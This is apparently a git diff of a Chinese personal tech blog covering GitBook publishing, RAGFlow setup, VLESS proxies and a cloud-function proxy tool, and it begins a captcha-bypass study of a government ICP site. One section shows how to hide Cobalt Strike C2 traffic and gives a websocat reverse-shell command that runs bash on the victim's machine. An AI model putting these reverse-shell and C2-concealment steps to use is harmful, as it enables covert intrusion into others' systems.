"copyright": "By [Wjlin0](https://wjlin0.com/),使用[知识共享 署名-相同方式共享 4.0协议](https://creativecommons.org/licenses/by-sa/4.0/)发布",
"markdown": true,
"update_label": "更新时间:",
"update_format": "YYYY-MM-DD HH:mm:ss"
},
"donate": {
"wechat": "",
"alipay": "",
"title": "",
"button": "赏",
"alipayText": "支付宝捐赠",
"wechatText": "微信捐赠"
},
"sharing": {
"douban": false,
"facebook": false,
"google": true,
"hatenaBookmark": false,
"instapaper": false,
"line": true,
"linkedin": true,
"messenger": false,
"pocket": false,
"qq": false,
"qzone": true,
"stumbleupon": false,
"twitter": false,
"viber": false,
"vk": false,
"weibo": true,
"whatsapp": false,
"all": [
"douban", "facebook", "google", "hatenaBookmark",
"instapaper", "linkedin","twitter", "weibo",
"messenger","qq", "qzone","viber","vk","weibo",
"pocket", "stumbleupon","whatsapp"
]
}

}
}
+

创建根目录,导入笔记​

+
+

导入自己的笔记

+
+
mkdir docs
notepad.exe .\docs\README.md //图片中打错了
+

image-20221129220950545

+

生成SUMMARY.MD文件​

+
cd docs
book sm
+

image-20221129221123486

+

构建项目静态文件​

+
cd ../
gitbook install
gitbook build
+

构建完成之后,会生成几个目录,_book 为生成的静态资源 node_modules 为 node js的 模块文件

+

image-20221129221603529

+

测试本地环境​

+
gitbook serve
+

image-20221129223221641

+

image-20221129223249357

+

构建github Page​

+
+

免费的存放静态资源文件的。

+
+

构建github项目​

+

构建如图所示仓库,仓库命名格式为xxx.github.io 这个xxx为你的账户名称就是途中左边那个wjlin0(要依据你的名字来哈),我这里构建过了所以 爆红了。

+

image-20221129224035267

+

上传静态文件​

+
cd .\_book\
git init
git add *
git commit -m "New commit"
git branch -M main
git remote add origin https://github.com/wjlin0/wjlin0.github.io.git
git branch --set-upstream-to=origin/main main
git push origin main
+

github page 构建​

+

image-20221129233842493

+

等待完成即可

+

配置自定义域​

+
+

没有域名 或者无需配置自定义域名可忽略这一步

+
+

选择右上角 settings

+

image-20221129234000275

+

选择Pages -> Add a domain

+

image-20221129234013450

+

选择 Add domain

+

image-20221129234122642

+

image-20221129234152977

+

在自己的DNS服务商做DNS TXT 解析 ,做完之后点击 Verify。回到仓库位置,选择 Custom domain,输入你刚刚自定义的域名,再点击保存。

+

image-20221129234338700

+

访问​

+

保存完之后 DNS check successful 通过之后 ,访问域名即可

+
+

https://wjlin0.github.io 或者 https://book.wjlin0.com

+
+

更新文件​

+

导出 git​

+

更新之前将之前 .git 导入出来

+
mv ./_book/.git ./
+

更新目录​

+
cd docs && book sm && cd ../
+

构建静态文件​

+
gitbook install # 若修改了book.json,则需要重新下载
gitbook build
mv .git ./_book/
+

提交更新后的代码​

+
### powershell的用法
cd ./_book
git pull
git add .
$A = Get-Date;git commit -m "$A";
git push
+

或者 你可以这样

+
### cmd的用法
cd ./_book
git pull
git add .
git commit -m "%date:~0,4%-%date:~5,2%-%date:~8,2% %time:~0,2%: %time:~3,2%"
git push
+

更新脚本​

+

update.bat

+
@echo on
SET p=http://localhost:1082 && echo %p% && C:\Users\TZ\.gitbook\versions\3.2.3\node_modules\.bin\npm.cmd config set proxy "%p%" && npm config set https-proxy "%p%" && cd /d %~dp0 && attrib -h ./_book/.git && move ./_book/.git ./ && cd ./docs && book sm && cd ../ && python update.py && gitbook install && gitbook build && move .git ./_book/ && attrib +h ./_book/.git && cd ./_book && git config --global https.proxy "%p%" && git config --global https.proxy "%p%" && git pull && git add . && git commit -m "%date:~0,4%-%date:~5,2%-%date:~8,2% %time:~0,2%: %time:~3,2%" && git push && git config --global --unset http.proxy && git config --global --unset https.proxy && npm config delete proxy && npm config delete https-proxy
pause
+

常用插件介绍​

+

快速生成summary​

+
+

https://blog.csdn.net/weixin_34383618/article/details/91629912

+
+
npm install -g gitbook-summary
book sm
book sm -i node_modules,_book # 忽略 node_modules和_book目录
+

flexible-alerts 高级格式显示的提示块​

+
> [!type|style:xx|label:xx|icon:xx|className:xx|labelVisibility:xx|iconVisibility:xx]
> 内容部分
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
键允许的值说明
!typeNOTE,TIP,WARNING和DANGER警告级别设置
style以下值之一: callout(默认), flat警告样式,见图19的左右不同
label任何文字警告块的标题位置,即Note这个字段位置(不支持中文)
icone.g. 'fa fa-info-circle'一个有效的Font Awesome图标,那块小符号
classNameCSS类的名称指定css文件,用于指定外观
labelVisibility以下值之一:visible(默认),hidden标签是否可见
iconVisibility以下值之一:visible(默认),hidden图标是否可见
+

实例:

+
1. 这是简单的用法
> [!NOTE]
> 这是一个简单的Note类型的使用,所有的属性都是默认值。

---
2. 这是自定义属性的用法
> [!NOTE|style:flat|lable:Mylable|iconVisibility:hidden]
> "!type":`NOTE`、"style":`flat`、"lable":`自定义标签`、图标不可见
+

1、Note

+
+

[!NOTE] +这是一个简单的Note类型的使用,所有的属性都是默认值。

+
+

2、这是自定义属性的用法

+
+

[!NOTE|style:flat|lable:Mylable|iconVisibility:hidden] +"!type":NOTE、"style":flat、"lable":自定义标签、图标不可见

+
+

3、TIP

+
+

[!TIP]

+

TIPS

+
+

3、WARNING

+
+

[!Warning]

+

WARNING

+
+

4、DANGER

+
+

[!DANGER]

+

DANGER

+
+

更多查看​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/工具分享/RAGFlow安装/index.html b/docs/个人知识库/工具分享/RAGFlow安装/index.html new file mode 100644 index 0000000..aeb2845 --- /dev/null +++ b/docs/个人知识库/工具分享/RAGFlow安装/index.html @@ -0,0 +1,123 @@ + + + + + +RAGFlow 安装指南大纲 | wjlin0 + + + + + + + +

RAGFlow 安装指南大纲

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:37:48
+

1. 前言​

+

1.1 本文介绍​

+

本文会从 Windows、Linux 和 macOS 等不同操作系统环境下的安装进行详细介绍,涵盖各平台的不同安装步骤和配置要求。内容包括:

+
    +
  • **基础环境配置:**如何在各操作系统上准备安装环境(如依赖库、工具等)。
  • +
  • **RAGFlow 安装:**在 Windows、Linux 和 macOS 上的安装流程,包括手动安装与使用包管理工具的方式。
  • +
  • **容器化部署:**针对 K3s、Kubernetes(K8s)和 Docker 中的 RAGFlow 部署方式,详细说明容器化环境中的配置与运行步骤。 +
      +
    • K3s/k8s 部署: Kubernetes 集群部署方式
    • +
    • **Docker 部署:**基于 Docker 容器的快速部署方式,适合开发和测试环境。
    • +
    +
  • +
+

本文将帮助您根据不同的操作系统选择合适的安装方法,确保 RAGFlow 能在各种环境下顺利运行。

+

⚠️ 注意事项:如果你对GPU有需求,那么如果你在虚拟机linux中安装的,需要对显卡直通(其中 windows 环境下推荐 采用docker 安装,vmware workstation 是不支持直通的。)

+

1.2 RAGFlow 是什么?​

+

RAGFlow 是一款基于深度文档理解构建的开源 RAG(Retrieval-Augmented Generation)引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程,结合大语言模型(LLM)针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。

+

1.3 安装前的准备​

+

1.3.1 Windows​

+
    +
  • +

    软件安装

    +
      +
    • DOCKER:必须安装
    • +
    • NVIDIA:推荐安装,如果你的显卡算力比较好,那么强烈推荐安全。
    • +
    • OLLAMA:先安装显卡驱动后,再安装ollama
    • +
    +
  • +
  • +

    系统要求:如果你有显卡支持,那么内存和CPU可适当降低

    +
      +
    • +

      CPU >= 4 核

      +
    • +
    • +

      RAM >= 16 GB

      +
    • +
    • +

      Disk >= 50 GB

      +
    • +
    +
  • +
+

1.3.2 Linux​

+
    +
  • +

    软件安装

    +
      +
    • k3s / docker / k8s : 选择任意一种 安装
    • +
    • NVIDIA显卡驱动:选择你对应显卡驱动
    • +
    • OLLAMA:先安装显卡驱动后,再安装ollama
    • +
    +
  • +
  • +

    系统要求:如果你有显卡支持,那么内存和CPU可适当降低

    +
      +
    • +

      CPU >= 4 核

      +
    • +
    • +

      RAM >= 16 GB

      +
    • +
    • +

      Disk >= 50 GB

      +
    • +
    +
  • +
+

1.3.3 Macos​

+

由于m系列的芯片,不支持N卡所以相对应的可能要求较高

+
    +
  • +

    软件安装

    +
      +
    • DOCKER : 必须安装
    • +
    • OLLAMA:先安装显卡驱动后,再安装ollama
    • +
    +
  • +
  • +

    系统要求:如

    +
      +
    • +

      CPU >= 4 核

      +
    • +
    • +

      RAM >= 16 GB

      +
    • +
    • +

      Disk >= 50 GB

      +
    • +
    +
  • +
+ + \ No newline at end of file diff --git a/docs/个人知识库/工具分享/代理类/使用go制作简易代理类/index.html b/docs/个人知识库/工具分享/代理类/使用go制作简易代理类/index.html new file mode 100644 index 0000000..136e288 --- /dev/null +++ b/docs/个人知识库/工具分享/代理类/使用go制作简易代理类/index.html @@ -0,0 +1,20 @@ + + + + + +使用go制作简易代理类 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/工具分享/代理类/使用云函数做代理/index.html b/docs/个人知识库/工具分享/代理类/使用云函数做代理/index.html new file mode 100644 index 0000000..fcc66c7 --- /dev/null +++ b/docs/个人知识库/工具分享/代理类/使用云函数做代理/index.html @@ -0,0 +1,183 @@ + + + + + +使用云函数做代理 | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-01-12 00:01:36
+

使用云函数做代理

+

什么是云函数​

+

云函数 (Serverless Cloud Function,SCF) 是腾讯云为企业和开发者们提供的无服务器执行环境。无服务器并非真的没有服务器,而是说用户无需购买服务器,无需关心服务器 CPU、内存、网络配置、资源维护、代码部署、弹性伸缩、负载均衡、安全升级、资源运行情况监控等,也就是说不用专门安排人力 做这些,只需专注于代码编写并上传即可。很大程度上降低了研发门槛,提升业务构建效率

+

基于的工具​

+ +

HTTP 代理​

+

原理和实现​

+

这是最为简单的利用方式。主要原理在于:

+
    +
  1. 云函数可利用 API 网关触发器进行触发,接受来自客户端的数据
  2. +
  3. 可以对外发包,类似于一个 SSRF
  4. +
+

因此一个 HTTP Proxy 的实现思路就很简单了。客户端挂上代理发送数据包,HTTP 代理服务器拦截数据包,提取 HTTP 报文相关信息,然后将报文以某种形式 POST 到云函数进行解析,云函数根据解析到的信息对目标发起请求,最终将结果一层一层返回。

+

流程如图所示:

+

image-20221223141456899

+

部署​

+
scfproxy deploy http -p provider_list -r region_list
+

provider_list 与 region_list 传入的参数列表以 , 分隔。

+

region_list 支持如下 4 种形式(在所有 deploy 及 clear 命令上都支持)

+
    +
  • * 表示所有区域
  • +
  • area-* 表示该 area 区域支持的所有地区
  • +
  • are-num 表示该 area 区域支持的前 num 个地区(代码硬编码顺序返回)
  • +
  • 标准形式,即云厂商所提供的标准 region 形式
  • +
+

对于提供多个 provider 的情况下,将对每个 provider 进行上述 region 形式的解析与查找,不存在的 region 将被忽略

+

例子:

+
scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai
+

通过 scfproxy list -p alibaba,tencent 可以查看到所有的 region,上面这条命令的执行结果为

+
    +
  1. 在 alibaba 上部署 ap-northeast-1, eu-central-1, eu-west-1, cn-shanghai 区域的 http 代理
  2. +
  3. 在 tencent 上部署 ap-beijing 区域的 http 代理
  4. +
+

运行​

+
scfproxy http -l port [-c cert_path] [-k key_path]
+

首次运行会在 ~/.confg/scfproxy/cert 目录生成 scfproxy.cer 及 scfproxy.key 证书,需要将其导入系统证书并信任才可以代理 https 请求。

+

清理​

+
scfproxy clear http -p provider_list -r region_list [--completely]
+

清理功能默认只会删除触发器,如需同时删除函数,需添加 -e/--completely 参数

+

例子​

+
+

本次案例使用的是阿里云

+
+

获取key​

+ +

image-20221223134859998

+

首次运行​

+

配置 云的key,这里演示的是阿里云

+
scfproxy && vim /root/.config/scfproxy/sdk.toml
+

image-20221222221832761

+

部署 http api​

+
./scfproxy deploy http -p alibaba -r eu-*
+

image-20221222221636085

+

查看部署是否成功

+
./scfproxy list http
+

image-20221222221709180

+

运行​

+
./scfproxy http -l 0.0.0.0:1234
+

image-20221222222024780

+

注意:若有自己常用的证书可以指定证书路径

+
./scfproxy http -l 0.0.0.0:1234 -c /root/backer/ssl/proxy.wjlin0.com.cer -k /root/backer/ssl/proxy.wjlin0.com.key
+

image-20221222223511647

+

安装证书​

+

双击证书 -> 安装证书

+

image-20221223135148342

+

验证​

+

配置SwitchyOmega

+

image-20221223140912091

+

访问 https://ifconfig.me/

+

image-20221223135852257

+

清理​

+
./scfproxy list http
./scfproxy clear http -p alibaba -r eu-* && ./scfproxy clear http -p alibaba -r eu-* --completely
./scfproxy list http
+

image-20221223140334555

+

SOCKS5 代理​

+

原理和实现​

+

正常 SOCKS5 代理请求的流程为服务端监听来自客户端的事件,每当客户端发起一个新的连接,服务端生成一个 socket A,并从数据包中解析出目标服务器的地址和端口,在本地对目标发起一个 socket 连接 B,同步两个 socket 的 IO 操作。

+

SOCKS5主要分为下面3个步骤:

+

1.认证:对客户端发起的连接进行认证

+

2.建立连接:从客户端发起的连接中读取数据,获得目标服务器地址,并建立连接

+

3.转发数据:分别将来自客户端、服务器的数据转发给对方

+

使用云函数建立连接的方式,我们需要的不再是对外主动发起连接,而是监听一个端口,等待云函数发 起连接,为了让云函数发起连接,我们需要主动对云函数的API网关发起请求,触发云函数的执行,并将 目标服务器信息附在POST数据包中。相关的流程图如下

+

img

+

部署​

+
scfproxy deploy socks -p provider_list -r region_list -a address [-k key] --auth [user:pass]
+

-a address 用于指定云函数回连的 vps 地址

+

-k key 用于连接后进行验证

+

--auth [user:pass] 用于指定 socks 认证信息,默认无认证

+

运行​

+
scfproxy socks -l socks_port -s scf_port -k key
+

-l socks_port 监听 socks_port,等待用户的 socks5 连接

+

-s scf_port 监听 scf_port,等待来自云函数的连接,需要部署命令中 address 参数的端口一致

+

-k key 用于验证,需与部署命令中的 key 对应

+

清理​

+
scfproxy clear socks -p provider_list -r region_list [--completely]
+

因为 socks 代理创建的为 1m 的定时触发器,且函数超时时间较长为避免不必要的浪费,建议在监听到来自云函数的连接后清理触发器,在使用完毕后使用 -e 参数彻底清理函数。

+

例子​

+

获取key​

+ +

image-20221223134859998

+

首次运行​

+

配置 云的key,这里演示的是阿里云

+
scfproxy && vim /root/.config/scfproxy/sdk.toml
+

image-20221222221832761

+

部署 socks api​

+
# 有点慢,耐心等一分钟
./scfproxy deploy socks -p alibaba -r eu-* -a 119.13.81.145:12345 -k abc12345
+

image-20221222225408223

+

验证是否创建成功

+
./scfproxy list socks
+

+

运行​

+
./scfproxy socks -l 1234 -s 12345 -k abc12345
+

image-20221222225645289

+

安装证书​

+

双击证书 -> 安装证书

+

image-20221223135148342

+

验证​

+

配置SwitchyOmega

+

image-20221223140744276

+

访问https://ifconfig.me/

+

image-20221223140831662

+

清理​

+
./scfproxy list socks
./scfproxy clear socks -p alibaba -r eu-* && ./scfproxy clear socks -p alibaba -r eu-* --completely
./scfproxy list socks
+

image-20221222225738880

+

反向代理​

+

部署​

+
scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list]
+

-o origin 用于指定需要用于反向代理的回源地址,可接受 HTTP 及 Websocket 协议。

+

--ip ip_list 用于限制访问来源,只有 ip_list 中的 ip 才能访问部署返回的反向代理网关地址。

+

使用场景​

+

基于反向代理可有如下使用方法,

+

C2 隐藏​

+

以 cobaltstrike 为例,只需将 api 的域名填入 listener 的 host

+
scfproxy deploy reverse ... -o http://vps --ip victim
+

cs.png

+

反弹 shell 地址隐藏​

+

借助 websocat 工具可实现反弹 shell 的功能。

+
scfproxy deploy reverse ... -o ws://vps --ip victim
+

受害者端执行:

+
websocat ws://reverse_proxy_address  sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib
+

攻击者 vps 执行:

+
websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib
+

效果如图: reverse_shell.png

+

内网穿透地址隐藏​

+

该使用场景需要支持 websocket 协议的内网穿透软件。

+
scfproxy deploy reverse ... -o ws://vps --ip victim
+

以 frp 代理 SOCKS 为例,客户端配置:

+
[common]
server_addr = reverse_proxy_domain
server_port = 80
tls_enable = true
protocol = websocket

[plugin_sock5]
type = tcp
remote_port = 8080
plugin = socks5
use_encryption = true
use_compression = true
+

效果如图

+

frp

+

清理​

+
scfproxy clear http -p provider_list -r region_list -o origin
+

与 HTTP 及 SOCKS 代理不同,反向代理没有 --completely 参数,但需要指定 origin 参数用于定位需要删除的服务

+

参考​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/工具分享/代理类/基于cloudflare搭建trojan代理/index.html b/docs/个人知识库/工具分享/代理类/基于cloudflare搭建trojan代理/index.html new file mode 100644 index 0000000..af68927 --- /dev/null +++ b/docs/个人知识库/工具分享/代理类/基于cloudflare搭建trojan代理/index.html @@ -0,0 +1,32 @@ + + + + + +基于cloudflare搭建trojan代理 | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-10-21 11:18:21
+

基于cloudflare搭建trojan代理

+
+

本文主要介绍如何基于cloudflare搭建trojan代理

+
+

前沿​

+

之前再做渗透的时候,有这么一个奇葩的需求,就是出口IP要主够多,而且要能够知道IP范围.

+

虽然之前可以通过云函数来实现,但是现在那个东西收费了,而且不能科学上网,所以就想到了cloudflare,cloudflare的CDN节点遍布全球,而且可以通过API来获取节点的IP地址,所以就想到了用cloudflare来搭建trojan代理,这样就可以实现IP多,而且可以知道IP范围的需求了。

+

准备​

+
    +
  • +

    免费申请的域名(没被GFW墙了)

    +
  • +
  • +

    cloudflare账号

    +
  • +
+ + \ No newline at end of file diff --git a/docs/个人知识库/工具分享/代理类/基于vless的科学上网-自动化/index.html b/docs/个人知识库/工具分享/代理类/基于vless的科学上网-自动化/index.html new file mode 100644 index 0000000..c718491 --- /dev/null +++ b/docs/个人知识库/工具分享/代理类/基于vless的科学上网-自动化/index.html @@ -0,0 +1,62 @@ + + + + + +基于vless的科学上网-自动化 | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-01-12 00:01:36
+

基于vless的科学上网 - 自动化

+

前沿​

+
+

这一篇文章是根据 基于vless的科学上网 的 拓展 ,如果你没看过也没关系 看这一篇也足够了

+
+

准备​

+
    +
  • (ubuntu、centos都可以) vps、域名 (如果有多台vps的话,更换域名后,运行即可多台的节点都可以添加上)
  • +
  • 一个github仓库(公开的,非公开的库访问困难,根据github的API可以访问私库,不过得配置http请求头,所以不支持的客户端是访问不到的),一个github的 token
  • +
+

创建github仓库​

+

建立仓库,点击new​

+

image-20230128193042426

+

填好名字,并点击 Create repository​

+

image-20230128193352389

+

创建成功自动跳转,代表你成功了​

+

image-20230128193444435

+

创建token​

+

setting -> Developer settings​

+

image-20230128193751302

+

创建经典的token 不会过期​

+

image-20230128194009339

+

填好,创建就行了​

+

image-20230128194306255

+

image-20230128194324721

+

命令​

+
# 建立主目录,并进入目录
mkdir /proxy && cd /proxy
# 建立配置文件, 并导入证书 域名.key、域名.crt 至 ./conf/ssl/
# 复制域名证书内容至文件中
mkdir ./conf/ssl -p
+
+

导入脚本文件,填写相关参数 start.py -> start.py

+

运行,根据 提示排错 第一次安装会有点慢

+
+

python3 start.py

+

运行成功的画面​

+

image-20230126233017504

+
+

然后导入订阅链接即可

+
+

不用了,删除​

+
# 进入到目录中
cd /proxy
# 停掉docker容器
docker-compose down
# 删除整个目录
rm /proxy -rf
+

客户端选择​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/工具分享/代理类/基于vless的科学上网/index.html b/docs/个人知识库/工具分享/代理类/基于vless的科学上网/index.html new file mode 100644 index 0000000..a42b775 --- /dev/null +++ b/docs/个人知识库/工具分享/代理类/基于vless的科学上网/index.html @@ -0,0 +1,94 @@ + + + + + +基于vless的科学上网 | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-01-12 00:01:36
+

基于xray的科学上网

+

前沿​

+

国内的很多东西都是阉割了的,为了学习还是需要懂得科学上网

+

准备工具​

+
    +
  • docker、docker-compose
  • +
  • (ubuntu、centos都可以) vps、域名
  • +
+

安装​

+
+

我已经把 docker 镜像制作好了,所以 很简单的只需要修改几个小地方就可以食用了

+
+

安装工具​

+

安装docker:

+

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

+

安装docker-compose:

+

curl -L https://get.daocloud.io/docker/compose/releases/download/v2.4.1/docker-compose-uname -s-uname -m > /usr/local/bin/docker-compose

+

docker开机自启动:

+
systemctl start docker && systemctl enable docker
+

配置配置文件​

+

新建文件夹​

+
+

新建文件夹后添加以下标题的文件 config.json、ssl(目录)、start.sh、web.conf

+
+
mkdir conf/
+

config.json​

+
+

xray的配置文件,将里面的id、证书名称替换成你的,其他的不需要动

+
+
{
"log": {


"loglevel": "warning"
},
"inbounds": [
{
"port": 443,
"protocol": "vless",
"settings": {
"clients": [
{
"id": "这里需要填写你的id",
"flow": "xtls-rprx-direct"
}
],
"decryption": "none",
"fallbacks": [
{
"dest": 60000,
"alpn": "",
"xver": 1
},
{
"dest": 60001,
"alpn": "h2",
"xver": 1
}
]
},
"streamSettings": {
"network": "tcp",
"security": "xtls",
"xtlsSettings": {
"minVersion": "1.2",
"certificates": [
{
"certificateFile": "/conf/ssl/这里需要填写你的证书公钥名称.crt",
"keyFile": "/conf/ssl/这里填写你的证书私钥名称.key"
}
]
}
},
"sniffing": {
"enabled": true,
"destOverride": [
"http",
"tls"
]
}
}
],
"outbounds": [
{
"protocol": "freedom"
}
]
}
+

注意:这里证书路径为/conf/ssl/exp.crt等

+

ssl(目录)​

+
+

在该目录下存放你的公私钥,大致如下图

+
+
ssl/exp.crt
ssl/exp.key
+

image-20221222233933291

+

start.sh​

+
+

启动脚本,可以不需要更改如下即可

+
+
#!/bin/bash
cp /conf/web.conf /etc/nginx/conf.d/ && \
service nginx restart && \
mv /var/www/html/index.nginx-debian.html /var/www/html/index.html && \
/data/xray/xray run -config /conf/config.json
+

web.conf​

+
+

将其中的域名替换成你的

+
+
server
{
listen 80;
listen [::]:80;
server_name 你的域名;
return 301 https://$http_host$request_uri;

access_log /dev/null;
error_log /dev/null;
}

server
{
listen 127.0.0.1:60000 proxy_protocol;
listen 127.0.0.1:60001 http2 proxy_protocol;
server_name 你的域名;
index index.html index.htm index.php default.php default.htm default.html;
root /var/www/html;
add_header Strict-Transport-Security "max-age=63072000" always;

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$
{
expires 30d;
error_log off;
}

location ~ .*\.(js|css)?$
{
expires 12h;
error_log off;
}
}
+

配置完成后大致为​

+

image-20221222232309364

+

制作docker-compose 启动文件​

+
+

docker-compose.yml 我这里启动了4个,如果你的vps内存空闲可以多启动即可,防止挂掉。

+

1001、1002、1003、1004 就是你设置的端口,可以按照你的习惯来

+
+
version: "3"
services:
xray1:
image: wjlin0/xray:v1
restart: always
hostname: xray
container_name: xray1
ports:
- "1001:443"
volumes:
- ./conf:/conf
command: ["/bin/bash","/conf/start.sh"]
xray2:
image: wjlin0/xray:v1
restart: always
hostname: xray
container_name: xray2
ports:
- "1002:443"
volumes:
- ./conf:/conf
command: ["/bin/bash","/conf/start.sh"]
xray3:
image: wjlin0/xray:v1
restart: always
hostname: xray
container_name: xray3
ports:
- "1003:443"
volumes:
- ./conf:/conf
command: ["/bin/bash","/conf/start.sh"]
xray4:
image: wjlin0/xray:v1
restart: always
hostname: xray
container_name: xray4
ports:
- "1004:443"
volumes:
- ./conf:/conf
command: ["/bin/bash","/conf/start.sh"]
+

启动​

+
+

在docker-compose.yml 目录下

+
+

image-20221222233527949

+
docker-compose up -d
+

image-20221222233609264

+

查看状态​

+
+

若出现下列图片中的情况则为启动成功了

+
+
docker-compose logs
+

image-20221222233803640

+

客户端选择​

+ +

订阅链接设置​

+
vless://你的ID@你的域名:你设置的端口?flow=xtls-rprx-direct&host=&security=xtls&sni=
+ + \ No newline at end of file diff --git a/docs/个人知识库/工具分享/基于机器学习的ICP备案查询验证码识别技术研究/index.html b/docs/个人知识库/工具分享/基于机器学习的ICP备案查询验证码识别技术研究/index.html new file mode 100644 index 0000000..1afda61 --- /dev/null +++ b/docs/个人知识库/工具分享/基于机器学习的ICP备案查询验证码识别技术研究/index.html @@ -0,0 +1,158 @@ + + + + + +基于机器学习的ICP备案查询验证码识别技术研究 | wjlin0 + + + + + + + +

基于机器学习的ICP备案查询验证码识别技术研究

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:38:37
+

(以 beian.miit.gov.cn 为例)

+

前沿​

+

在日常搞安全、爬数据的时候,大家肯定都遇到过一个老熟人 —— 验证码。它像一个看门大爷一样,挡在各种接口和网页前面,尤其是在查ICP备案信息这类官方数据时,验证码几乎成了“标配”。

+

但验证码虽烦,也不是不能搞。特别是图像类验证码,用点机器学习的小技巧,搞定它其实没那么复杂。

+

这篇文章就来分享一下我是怎么利用机器学习来识别ICP备案查询页面上的验证码的 —— 包括怎么采集数据、怎么训练模型、最后怎么把它跑起来。希望对也在折腾这块的小伙伴有点参考价值。

+

工信部的验证码​

+

要搞识别,第一步当然是先搞清楚“敌人”长啥样。

+

我们打开 ICP备案查询官网,随便点进“网站备案查询”这一栏,就能看到一个非常典型的验证码框。它用的是图形点选验证码,而且是中文的。具体长这样:

+

image-20250506094630093

+
    +
  • +

    验证码分上下两部分上面部分是文件在图片中,下面部分是提示

    +
  • +
  • +

    验证码提示:**请依次点击【因, 跑, 乡, 动】

    +
  • +
  • +

    你需要用鼠标按顺序点击那 4 个字,系统才能通过验证

    +
  • +
+

请求逻辑​

+

先进行一次简单的查询,并利用Burp抓包工具获取当次的流量

+

未命名

+

很明显这里进行了三次请求

+

image-20250506101225330

+

第一次请求,不难分析出是,获取了原始图片,bigImage和smallImage

+
POST /icpproject_query/api/image/getCheckImagePoint HTTP/1.1
Host: hlwicpfwc.miit.gov.cn
Cookie: __jsluid_s=691280173f5789603afe9cfef8e7fa8f
Content-Length: 58
Sec-Ch-Ua-Platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Content-Type: application/json
Token: eyJ0eXBlIjoxLCJ1IjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJzIjoxNzQ2NDk2MjE5ODM3LCJlIjoxNzQ2NDk2Njk5ODM3fQ.SPzNP8Gp4xyZA2zdmJ0Dhr8pYai_Xr2swMDRXkQLybQ
Sec-Ch-Ua-Mobile: ?0
Origin: https://beian.miit.gov.cn
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://beian.miit.gov.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: keep-alive

{"clientUid":"point-52334cbc-cbe6-4a39-9bab-362f28c5531d"}
+

响应结果(内容太多了,删掉了原始图片内容)

+
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 01:53:44 GMT
Content-Type: application/json
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: https://beian.miit.gov.cn
Access-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci
Access-Control-Allow-Credentials: true
Strict-Transport-Security: max-age=15724800; includeSubDomains
X-Via-JSL: 24061e4,-
X-Cache: bypass
Content-Length: 297048

{
"code": 200,
"msg": "操作成功",
"params": {
"bigImage": "xxxxxxx......",
"secretKey": "384sPbNakbrFsF1r",
"smallImage": "xxxxxxx......",
"uuid": "ca070c44c01b43668d4235efdc970ebc",
"wordCount": 4
},
"success": true
}
+

这两张图片其实就是 验证码的上下两部分

+

image-20250506101859338

+

第二次请求,很明显是点选完成了进行验证。

+
POST /icpproject_query/api/image/checkImage HTTP/1.1
Host: hlwicpfwc.miit.gov.cn
Cookie: __jsluid_s=691280173f5789603afe9cfef8e7fa8f
Content-Length: 255
Sec-Ch-Ua-Platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Content-Type: application/json
Token: eyJ0eXBlIjoxLCJ1IjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJzIjoxNzQ2NDk2MjE5ODM3LCJlIjoxNzQ2NDk2Njk5ODM3fQ.SPzNP8Gp4xyZA2zdmJ0Dhr8pYai_Xr2swMDRXkQLybQ
Sec-Ch-Ua-Mobile: ?0
Origin: https://beian.miit.gov.cn
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://beian.miit.gov.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: keep-alive

{"token":"ca070c44c01b43668d4235efdc970ebc","secretKey":"384sPbNakbrFsF1r","clientUid":"point-52334cbc-cbe6-4a39-9bab-362f28c5531d","pointJson":"vRXxnZ1ujKsfNKB1AmvokXOxQwt1DMyQ9ZJyVLTkM6/9FW6R6EudYrEqGRoxFP+ugNRpqCu1S1hM2mzn4VbQyBAwpqCviXt8GV+57Jh6V3g="}
+

验证通过后会返回sign

+
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 01:53:54 GMT
Content-Type: application/json
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
